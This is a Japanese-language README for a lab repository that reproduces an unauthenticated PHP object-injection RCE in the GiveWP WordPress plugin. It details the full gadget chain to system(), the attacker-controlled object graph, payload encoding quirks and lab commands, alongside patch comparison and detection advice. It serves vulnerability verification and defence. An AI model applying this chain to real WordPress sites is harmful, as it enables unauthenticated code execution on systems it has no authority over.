CVE-2026-82222を隔離されたDockerラボで再現・検証するためのセキュリティ研究用マテリアルです。
直接RCE PoCとURLスキャンには CVE-2026-8222-RCE.py を使用してください
ステータス: 提供されたラボで実証済み
GiveWP 4.16.5.1では、初期状態で認証されていない攻撃者がPHPオブジェクトグラフを永続化し、GiveWPのセッション処理を通じてそれを復元し、WordPressのWebサーバーユーザーとして固定マーカーコマンドを実行することが可能です。
陽性結果のテスト:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
エンドツーエンドの結果は、改変されていない素のGiveWP 4.16.5.1ソースに対しても再現されました。GiveWP 4.16.7.2は、テスト構成においてHTTPキャリアをブロックし、直接制御中にターミナルガジェットも独立してブロックしました。
これはWordPressコンテナ内でのコマンド実行を実証するものです。ルートアクセス、コンテナエスケープ、横移動、またはホストの侵害を実証するものではありません。
このリポジトリは、所有しているシステム、または明示的にテストを許可されたシステムでのみ使用してください。
提供されるPoCは意図的に制約されています:
touch /tmp/CVE-2026-82222-RCE-GETBAG のみを実行します。--allow-authorized-non-loopback フラグを指定しない限り、ループバック以外のターゲットを拒否します。127.0.0.1 のみに公開します。HTTPテストは、使い捨てのドナー・ユーザー、メタデータ、GiveWPセッション行を作成します。テスト後は付属のリセットコマンドを使用してください。
要件:
curlunzipsha256sum または shasumdownloads.wordpress.org へのネットワークアクセス完全な脆弱/パッチ済みマトリックスを実行:
./lab verify
このコマンドは:
ProviderForwarder ターミナルも文字列コーラブルを拒否することを確認します。パッチ適用済みラボは最後まで実行されたままになります。削除するには:
./lab reset
別のループバックポートを使用するには:
LAB_PORT=8099 ./lab verify
脆弱なコントロールは、具体的なターミナル証拠で終了する必要があります:
[PASS] E1: 認証されていない登録が認証Cookieを発行
[PASS] E3: シリアル化されたグラフが自身のlast_nameに永続化
[PASS] E4: 寄付フォームのnonceを取得
[PASS] E5: セッション書き込みが期待されるポストシンクHTTPステータス=500に到達
[PASS] E6: セッション読み取り/破棄トリガーが完了
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
パッチ適用済みコントロールは次のように表示される必要があります:
[PASS] P1: パッチ適用済み登録ゲートが認証Cookieをブロック
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
HTTP 500、保存されたペイロード、例外、またはマーカーなしの検出器ヒットは、RCEの証明として受け入れられません。
脆弱なリリースを起動してテスト:
./lab start vulnerable
./lab test
パッチ適用済みリリースを起動してテスト:
./lab start patched
./lab test
現在の状態を確認:
./lab status
コンテナ、ボリューム、テストユーザー、セッション、マーカー状態を削除:
./lab reset
キャッシュされたプラグインZIPと展開されたアセットは、再実行を高速化するために保持されます。これらの生成されたアセットも削除するには:
./lab reset --purge-assets
| バージョン | 評価 |
|---|---|
| GiveWP 4.16.5.1 | RCEをエンドツーエンドで再現 |
| GiveWP 4.16.6–4.16.7.1 | 影響ありと報告済み。ここでは個別に再現されていません |
| GiveWP 4.16.7.2 | パッチ適用済みネガティブコントロールを再現 |
| それ以降のリリース | 個別にテストされていません。最新のサポートリリースに更新してください |
公開アドバイザリは、4.16.7.1までのリリースを影響ありと特定しています。このリポジトリは、その陽性/陰性テストマトリックス内の2つのバージョンのみを直接証明します。
参考文献:
このエクスプロイトは複数の動作を組み合わせます:
Give\Helpers\Utils::maybeSafeUnserialize() は allowed_classes => false を使用して __PHP_Incomplete_Class を生成しますが、後続のシリアル化は元のクラス名とプロパティを保持します。maybe_unserialize() が同梱クラスを復元します。system() への完全なPOPチェーンに入ります。HTTPキャリアには4つのリテラルな名前空間バックスラッシュが必要です。2つの実効的なストリッピングパスにより、それらは 4 -> 2 -> 1 に削減されます。ペイロードはNULフリーであり、PHP 8.1.30がプライベートな Session::$attributeName プロパティのプレーンなシリアル化名をハイドレートすることが検証されました。
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
攻撃者制御のグラフ:
TCPDF
├── file_id = 一意のリクエスト識別子
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = 固定マーカーコマンド
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
重要な隠れた遷移は、PHPの暗黙的な IteratorAggregate ディスパッチです。TCPDF::$imagekeys は型指定がないため、Symfony Session を代入すると foreach が Session::getIterator() を呼び出します。
マーカーコマンドは、Symfonyが getAttributeBag(): AttributeBagInterface の戻り値の型を強制する前に実行されます。結果として生じる TypeError とHTTP 500はポストシンク効果です。
却下された候補グラフは以下を使用していました:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
このグラフは機能しません。TCPDF::_destroy() は objcopy のunsetのみを行います。PHPは自動破棄を __call('__destruct', ...) にルーティングしません。
欠落していた操作は次のとおりです:
foreach ($this->imagekeys as $file) {
以前のレビューはデストラクタと明示的なメソッド呼び出しに従いましたが、foreach によってトリガーされる暗黙的なオブジェクトプロトコルを再帰的に検査しませんでした。Symfony Session が欠落したブリッジを提供します:
foreach は getIterator() を呼び出します。getIterator() は getBag($attributeName) に到達します。storage は DonationFactory です。getBag は ProviderForwarder::__call() を呼び出します。loadedProviders['getBag'] = 'system' がコーラブルを選択します。attributeName がコマンド引数を提供します。関連するGiveWP 4.16.5.1の場所:
| コンポーネント | 場所 |
|---|---|
| ガード付き初期アンシリアライズ | src/Helpers/Utils.php:203-217,237-241 |
| 寄付キャリア | includes/process-donation.php:157 |
| GiveWPセッション永続化 | includes/class-give-session.php:364-368,489-508 |
| 無制限セッション復元 | includes/class-give-session.php:347-350 |
| TCPDFデストラクタ | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| 攻撃者制御の反復 | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Symfonyイテレータブリッジ | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Symfony getBag ブリッジ | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| ターミナルコーラブル | src/TestData/Framework/ProviderForwarder.php:19-23 |
| GiveWP Composerオートローダー | give.php:624-625 |
公式リリースハッシュ:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
ラボは、毎回の新規起動前に検証済みZIPから各プラグインを再抽出し、変更を加えずにWordPressにコピーし、展開された完全なプラグインファイルツリーを検証済みソースとバイト比較します。3つの公式Dockerベースイメージも、マルチアーキテクチャマニフェストダイジェストに固定されています。
GiveWP 4.16.7.2は、登録、シリアル化された入力処理、セッション復元、データ移行、ガジェットハードニングにわたって独立した防御を追加します。
ターミナルハードニングでは、解決されたオブジェクトが期待されるプロバイダーコントラクトを実装することが要求されます:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
したがって、攻撃者制御の文字列 system は拒否されます。このリポジトリの直接制御はHTTPキャリアをバイパスし、このターミナル防御だけでもマーカーが存在しないことを検証します。
PoCの陰性結果だけでは、サイトがパッチ適用済みであることを証明しません。WAF、異なるルーティング、無効化された登録、欠落したレガシーフォーム、セッション構成、または無効化されたPHPコマンド関数はすべて、依然として脆弱なコードベース上でマーカーを防ぐ可能性があります。
推奨される検証手順:
バージョンチェック:
wp plugin get give --fields=name,status,version
GiveWPを最新のサポートバージョンに更新してください。更新後:
TCPDF、Symfony Session、または loadedProviders グラフを検索します。インターネットに公開された脆弱なインストールにオブジェクトインジェクションの痕跡が含まれている場合は、プラグインの更新だけでなく、潜在的な侵害として扱ってください。
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
コミットされていないもの:
official plugin ZIPs
extracted GiveWP source
instrumented target source
cookies or session data
runtime evidence/logs
internal target addresses or reusable credentials
obsolete objcopy payloads
historical validation output
| 主張 | ステータス |
|---|---|
| 永続的なPHPオブジェクトインジェクションキャリア | 実証済み |
| 同梱クラスの復元 | 実証済み |
| 完全なストックPOPチェーン | 実証済み |
| Webユーザーとして実行される固定マーカー | 実証済み |
| 素の4.16.5.1に対する再現 | 実証済み |
| 素の4.16.7.2に対するネガティブコントロール | 実証済み |
| すべての中間影響リリースのテスト | 未テスト |
| ルート権限 | 主張なし |
| コンテナエスケープ | 未テスト |
| ホスト侵害 | 未テスト |
証明基準は意図的に厳格です: 変更されていないストックチェーンを通じた観測可能なコマンドマーカーのみがRCEとラベル付けされます。HTTP受け入れ、シリアル化、例外、検出器ヒットは中間証拠です。